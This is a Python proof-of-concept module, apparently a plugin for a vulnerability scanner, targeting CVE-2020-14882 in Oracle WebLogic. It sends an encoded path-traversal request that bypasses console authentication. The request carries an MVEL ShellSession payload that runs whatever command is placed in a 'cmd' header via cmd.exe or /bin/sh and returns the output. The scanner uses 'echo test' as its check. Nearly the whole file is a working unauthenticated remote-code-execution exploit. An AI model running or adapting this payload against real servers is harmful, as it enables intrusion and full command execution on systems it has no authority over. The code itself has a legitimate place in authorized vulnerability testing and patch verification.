'''
Function:
    CVE-2020-14882
Author:
    花果山
Wechat official account：
    中龙 红客突击队
Official website：
    https://www.hscsec.cn/
Email：
    spmonkey@hscsec.cn
Blog:
    https://spmonkey.github.io/
GitHub:
    https://github.com/spmonkey/
'''
# -*- coding: utf-8 -*-
import requests
import os
import sys
from urllib.parse import urlparse
from requests.packages.urllib3 import disable_warnings
disable_warnings()
path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(path)
from modules import get_user_agent


class poc:
    def __init__(self, url, proxies):
        self.url = url
        self.headers = {
            'User-Agent': get_user_agent.get_user_agent(),
            'Content-Type': 'application/x-www-form-urlencoded',
        }
        self.result_text = ""
        self.proxies = proxies

    def host(self):
        url = urlparse(self.url)
        netloc = url.netloc
        scheme = url.scheme
        return scheme, netloc

    def vuln(self, netloc, scheme):
        url = "{}://{}/console/css/%252e%252e%252fconsole.portal".format(scheme, netloc)
        data = ('_nfpb=true&_pageLabel=&handle='
            'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
            '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
            'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
            '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
            '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
            'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
            'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
            '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
            '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
            '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
            'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
            'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
            'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
        self.headers["cmd"] = "echo test"
        try:
            result = requests.post(url=url, data=data, headers=self.headers, verify=False, proxies=self.proxies, allow_redirects=False)
            if "test" in result.text:
                target = urlparse(url)
                self.result_text += """\n        [+]    \033[32m检测到目标站点存在任意命令执行漏洞 (CVE-2020-14882)\033[0m
                 POST {} HTTP/1.1
                 Host: {}""".format(target.path, target.netloc)
                for request_type, request_text in dict(result.request.headers).items():
                    self.result_text += "\n                 {}: {}".format(request_type, request_text)
                self.result_text += "\n\n                 {}".format(result.request.body)
                return True
            else:
                return False
        except Exception as e:
            return False

    def main(self):
        all = self.host()
        scheme = all[0]
        netloc = all[1]
        if self.vuln(netloc, scheme):
            return self.result_text
        else:
            return False

